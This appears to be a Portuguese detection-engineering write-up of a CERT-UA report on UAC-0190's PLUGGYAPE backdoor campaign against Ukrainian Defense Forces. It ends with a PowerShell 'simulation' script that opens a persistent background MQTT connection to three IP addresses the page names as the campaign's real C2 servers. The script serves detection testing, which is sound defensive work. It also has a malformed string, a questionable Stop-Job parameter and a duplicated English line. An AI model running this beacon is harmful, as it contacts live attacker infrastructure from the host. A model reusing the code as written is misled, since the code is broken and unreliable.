“Fundo Não Confiável”: Ciberataques direcionados UAC-0190 contra as Forças de Defesa Ucranianas usando PLUGGYAPE
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
O CERT-UA revelou uma onda de intrusões direcionadas contra funcionários das Forças de Defesa da Ucrânia, com os operadores posando como representantes de fundos de caridade para aumentar a confiança e incentivar a execução. A campanha implantou o PLUGGYAPE, um backdoor personalizado baseado em Python, entregue por meio de arquivos “documentos” armados usando extensões duplas enganosas (por exemplo, .docx.pif e .pdf.exe) para se disfarçar de conteúdo benigno. Uma vez lançado, o malware estabeleceu comando e controle sobre canais MQTT ou WebSocket, usando uma mistura de domínios comprometidos e infraestrutura baseada em IP. O CERT-UA vinculou a atividade ao cluster Void Blizzard (Laundry Bear).
Investigação
Durante a análise, os respondedores coletaram múltiplos artefatos maliciosos e confirmaram que as cargas eram binários Python empacotados com PyInstaller, apresentados como arquivos semelhantes ao Office para encorajar a execução. A telemetria de rede mostrou comunicação através de brokers MQTT e sessões WebSocket para endpoints controlados por atacantes, com alguns endereços de servidor fornecidos indiretamente – incorporados como strings Base64 e recuperados de serviços de hospedagem do estilo paste. Os operadores mantinham persistência criando uma entrada no registro Run. Indicadores de infraestrutura foram corroborados através de referências encontradas em plataformas de paste (incluindo Pastebin e rentry) e vários domínios com tema de caridade usados na cadeia de engano.
Mitigação
Trate arquivos “documentos” não solicitados recebidos via mensageiros como de alto risco, particularmente anexos usando extensões duplas ou padrões de mascaramento de executáveis. Implemente uma lista de permissão de aplicativos e previna explicitamente a execução de binários empacotados com PyInstaller onde possível. Monitore por mudanças em locais comuns de persistência, especialmente modificações na chave Run. Na camada de rede, bloqueie ou controle rigorosamente a conectividade de saída para domínios maliciosos conhecidos e restrinja a saída para portas de broker MQTT associadas ao comando e controle da campanha.
Resposta
Incorpore os IOCs publicados em ferramentas SIEM/EDR e cace proativamente artefatos PLUGGYAPE em endpoints, priorizando sistemas usados por pessoal direcionado. Isole quaisquer hosts suspeitos e preserve evidências de endpoint e rede para escopo. Revise a persistência do registro – especialmente entradas Run – e examine logs de rede para padrões de tráfego MQTT/WebSocket anômalos. Escale por meio de resposta a incidentes e canais de aplicação da lei aplicáveis usando as vias de contato oficiais fornecidas pelo CERT-UA.
Fluxo de Ataque
Execução da Simulação
Pré-requisito: O Check de Pré-voo de Telemetria e Linha de Base deve ter passado.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa do Ataque & Comandos:
- Objetivo: Estabelecer um canal C2 com a infraestrutura PLUGGYAPE usando o protocolo MQTT, imitando um dispositivo IoT típico que relata dados silenciosamente.
- Passo a passo:
- O atacante solta um script PowerShell que carrega a
biblioteca MQTTnet.Ela cria um trabalho em segundo plano persistente que se conecta ao broker MQTT malicioso (um dos três IPs codificados) na porta padrão MQTT (1883). - Após estabelecer a sessão TCP, ela envia um pacote MQTT CONNECT mínimo seguido por um PUBLISH periódico com dados de comando codificados.
- Toda a atividade de rede é realizada no contexto de uma conta de serviço legítima para se misturar com o tráfego normal.
- All network activity is performed under the context of a legitimate service account to blend with normal traffic.
- O atacante solta um script PowerShell que carrega a
-
Script de Teste de Regressão:
# Simulação C2 PLUGGYAPE – MQTT no Windows # Requer MQTTnet (instalado via Galeria do PowerShell) # --------------------------------------------------------- # 1. Instalar MQTTnet se estiver faltando if (-not (Get-Module -ListAvailable -Name MQTTnet)) { Install-Module -Name MQTTnet -Scope CurrentUser -Force } # 2. Definir endpoints maliciosos C2 $c2IPs = @('193.23.216.39','108.165.164.155','176.9.23.216') $c2Port = 1883 # 3. Escolher aleatoriamente um servidor C2 para simular uma seleção realista $targetIP = $c2IPs | Get-Random # 4. Construir cliente MQTT $factory = New-Object MQTTnet.MqttFactory $client = $factory.CreateMqttClient() $options = [MQTTnet.Client.MqttClientOptionsBuilder]::new() .WithTcpServer($targetIP, $c2Port) .WithClientId(([guid]::NewGuid()).Guid) .Build() # 5. Conectar e começar a publicar em um trabalho em segundo plano $scriptBlock = { param($client,$options) try { $client.ConnectAsync($options).GetAwaiter().GetResult() Write-Host "Conectado ao C2 PLUGGYAPE em $($options.ChannelOptions.Server)` # Enviar uma publicação de keep-alive simples a cada 30 segundos while ($true) { $msg = [MQTTnet.MqttApplicationMessageBuilder]::new() .WithTopic('data/heartbeat') .WithPayload('alive') .WithExactlyOnceQoS() .Build() $client.PublishAsync($msg).GetAwaiter().GetResult() Start-Sleep -Seconds 30 } } catch { Write-Error "Conexão C2 falhou: $_" } finally { $client.DisconnectAsync() | Out-Null } } # Iniciar o trabalho (executa em segundo plano) $job = Start-Job -ScriptBlock $scriptBlock -ArgumentList $client,$options Write-Host "Simulação do trabalho C2 PLUGGYAPE iniciada (JobId=$($job.Id))." -
Comandos de Limpeza:
# Pare o trabalho em segundo plano e certifique-se de que o cliente MQTT se desconecte Get-Job | Where-Object {$_.State -eq 'Running'} | Stop-Job -Force Get-Job | Where-Object {$_.State -eq 'Running'} | Remove-Job -Force Write-Host "Simulação C2 PLUGGYAPE parada e limpeza completa."